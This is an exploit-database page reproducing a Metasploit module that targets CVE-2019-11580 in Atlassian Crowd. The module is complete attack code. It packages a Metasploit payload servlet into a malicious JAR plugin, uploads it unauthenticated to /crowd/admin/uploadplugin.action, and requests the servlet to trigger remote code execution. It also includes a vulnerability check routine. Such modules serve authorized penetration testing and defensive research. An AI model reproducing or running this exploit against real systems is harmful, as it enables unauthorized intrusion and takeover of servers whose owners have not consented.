Atlassian Crowd pdkinstall Remote Code Execution

2021.08.13
Credit: Paul
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE', 'Description' => %q{ This module can be used to upload a plugin on Atlassian Cloud via the pdkinstall development plugin as an unauthenticated attacker. The payload is uploaded as a JAR archive containing a servlet using a POST request to /crowd/admin/uploadplugin.action. The check command will check that the /crowd/admin/uploadplugin.action page exists and that it responds appropriately to determine if the target is vulnerable or not. }, 'Author' => [ 'Paul', # Vulnerability discovery 'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter. 'Grant Willcox' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-11580'], ['URL', 'https://jira.atlassian.com/browse/CWD-5388'], ['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'], ['URL', 'https://www.corben.io/atlassian-crowd-rce/'] ], 'Platform' => %w[java], 'Arch' => ARCH_JAVA, 'DefaultOptions' => { 'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out. }, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ] ], 'DisclosureDate' => '2019-05-22' ) ) register_options( [ Opt::RPORT(8095), OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']), ] ) end def upload_plugin(content) data = Rex::MIME::Message.new data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'), 'method' => 'POST', 'data' => data.to_s, 'ctype' => "multipart/mixed; boundary=#{data.bound}" }, datastore['HttpClientTimeout']) end def generate_plugin_jar name = Rex::Text.rand_text_alpha(8..12) servlet_name = Rex::Text.rand_text_alpha(8..12) atlassian_plugin_xml = %( <atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet"> <plugin-info> <param name="atlassian-data-center-compatible">true</param> <description></description> <version>1.0.0</version> </plugin-info> <servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet"> <url-pattern>/#{name}</url-pattern> <description>#{Faker::App.name}</description> </servlet> </atlassian-plugin> ) # Generates .jar file for upload zip = payload.encoded_jar zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml) servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip.add_file('/metasploit/PayloadServlet.class', servlet) contents = zip.pack [contents, name] end def check print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...') res = upload_plugin(Rex::Text.rand_text_alpha(45..120)) if res.nil? CheckCode::Unknown('Was not able to connect to the target!') elsif (res.body =~ /Unable to install plugin/) && (res.code == 400) CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!") else CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!") end end def exploit print_status('Generating a malicious JAR plugin...') content, plugin_name = generate_plugin_jar print_status('Uploading the malicious JAR plugin...') upload_plugin(content) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"), 'method' => 'GET' }, datastore['HttpClientTimeout']) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top